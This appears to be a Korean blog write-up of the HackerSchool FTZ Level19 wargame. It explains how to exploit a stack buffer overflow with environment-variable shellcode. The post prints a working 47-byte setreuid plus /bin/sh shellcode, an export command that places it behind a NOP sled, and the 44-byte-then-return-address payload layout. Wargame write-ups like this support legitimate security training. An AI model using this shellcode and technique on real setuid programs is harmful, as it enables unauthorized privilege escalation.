System Hacking

[해커스쿨FTZ] Level19

BIGFROG 2020. 1. 6. 17:12

hint에는 권한에 관련된 함수가 없다.

setreuid를 직접 넣어줘야 할 듯 하다.

 

맨 처음에는 RTL을 써보려고 했다.

gdb로 print setreuid를 통해 setreuid의 주소를 알아냈는데,

인자로 넘겨줄 3100이라는 문자열이 존재하지 않을 것 같다.

결국, setreuid가 포함된 쉘코드를 사용하기로 한다.

 

[47바이트 쉘 코드]

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

 

export "SET_SHELL"=$(python -c 'print "x90"*200+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')

로 환경변수에 쉘코드를 입력하고,

 

아래처럼 소스를 짜서 쉘코드의 주소를 획득한다.

 

 

 

쉘 코드 주소 : 0xbffffe15

 

 

gdb를 보면 main+3에서 40바이트만큼 스택을 확장한다.

 

문자열이 쌓이는 주소는 0xbffff360부터 쌓이고(gdb)

EBP 바로 전까지 40바이트가 쌓인다.

 

그러니까 총 44바이트 문자열을 넣고, ret부분에 쉘코드 주소를 넣어주면 될 것 같다.

 

 

 

플래그 획득!

 

 

'System Hacking' 카테고리의 다른 글

[해커스쿨FTZ] Level12  (0) 2020.01.06
[해커스쿨FTZ] Level20  (0) 2020.01.06
[해커스쿨FTZ] Level18  (0) 2020.01.06
[해커스쿨FTZ] Level17  (0) 2020.01.06
[해커스쿨FTZ] Level16  (0) 2020.01.06